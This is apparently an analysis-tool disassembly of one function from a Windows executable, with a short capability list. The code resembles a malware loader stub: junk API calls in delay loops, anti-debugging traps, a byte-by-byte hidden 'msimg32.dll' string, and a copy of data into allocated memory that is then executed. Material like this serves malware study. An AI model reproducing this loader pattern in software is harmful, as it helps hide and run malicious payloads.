Function at 0x401900
Capabilities:
Get disk size
Get file attributes
Set environment variable

Disassembly:
mov eax, 0x413909
call fcn.004136d0
sub esp, 0x8d8
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x401930
push ebx
call dword [sym.imp.GDI32.dll_GetBkMode]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
cmp esi, 0x207142
jg 0x401941
inc esi
cmp esi, 0x67d12
jl 0x401917
cmp dword [0x24945dc], 0x93
jne 0x401a1e
mov esi, dword [sym.imp.GDI32.dll_CreateDCW]
push ebx
push ebx
push ebx
push ebx
call esi
push ebx
lea eax, [ebp - 0x4e4]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push ebx
push ebx
push ebx
push ebx
call esi
xor eax, eax
lock bts dword [eax], 0
push ebx
push str.pimoza_fimetojixoweverigiranawirori_kudekopozelupatazor
push str.nopobucifucekegikivisix_jajavazazizewutanew_bisaxaxecanasixagupacekojevataru_dicepodenib
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push dword [ebp - 0x14]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoUnmarshalHresult]
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push str.gulepulawoboxejobukade
lea ecx, [ebp - 0x38]
call fcn.00402148
push ebx
mov dword [ebp - 4], ebx
call fcn.0040496a
pop ecx
push ebx
push ebx
call fcn.00404999
push ebx
call fcn.00404953
add esp, 0xc
lea eax, [ebp - 0xe4]
push eax
call fcn.00402429
lea ecx, [ebp - 0x84]
call fcn.004024c5
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x84], vtable.std::ios_base.0
call fcn.004033b6
or dword [ebp - 4], 0xffffffff
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x38]
call fcn.00402ba0
add dword [0x24945dc], 0x1134b
push dword [0x24945dc]
mov eax, dword [0x47ee24]
push ebx
mov dword [0x2495418], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x2494068], eax
call fcn.00401886
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x401a4e
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp dword [0x24945dc], ebx
jbe 0x401abe
mov eax, dword [0x2495418]
mov al, byte [eax + esi + 0x1134b]
mov ecx, dword [0x2494068]
mov byte [ecx + esi], al
cmp dword [0x24945dc], 0x490
jne 0x401ab5
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
push ebx
call edi
lea eax, [ebp - 0x1c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_DebugBreak]
inc esi
cmp esi, dword [0x24945dc]
jb 0x401a65
xor esi, esi
mov eax, dword [0x24945dc]
add eax, esi
cmp eax, 0x8d
jne 0x401af9
push ebx
lea eax, [ebp - 0x4e4]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
push str.royakamexisezepucivapah
push str.lulugumiwitojijeponuyo
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x401ac0
call fcn.0040178b
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x401b27
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x2494068], eax
inc esi
cmp esi, 0x674bd
jl 0x401b09
push 0x7b
pop esi
cmp dword [0x24945dc], 0x86
jne 0x401b7b
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
lea eax, [ebp - 0x8e4]
push eax
push 0x478e10
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFlags]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_RaiseException]
cmp dword [0x24945dc], 0xf
jne 0x401b8f
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
dec esi
jne 0x401b33
push 0x481ee8
mov dword [0x481ef0], 0x6c6c64
mov word [0x481eee], 0x2e32
mov byte [0x481ee8], 0x6d
mov byte [0x481eed], 0x33
mov dword [0x481ee9], 0x676d6973
call edi
call dword [0x2494068]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret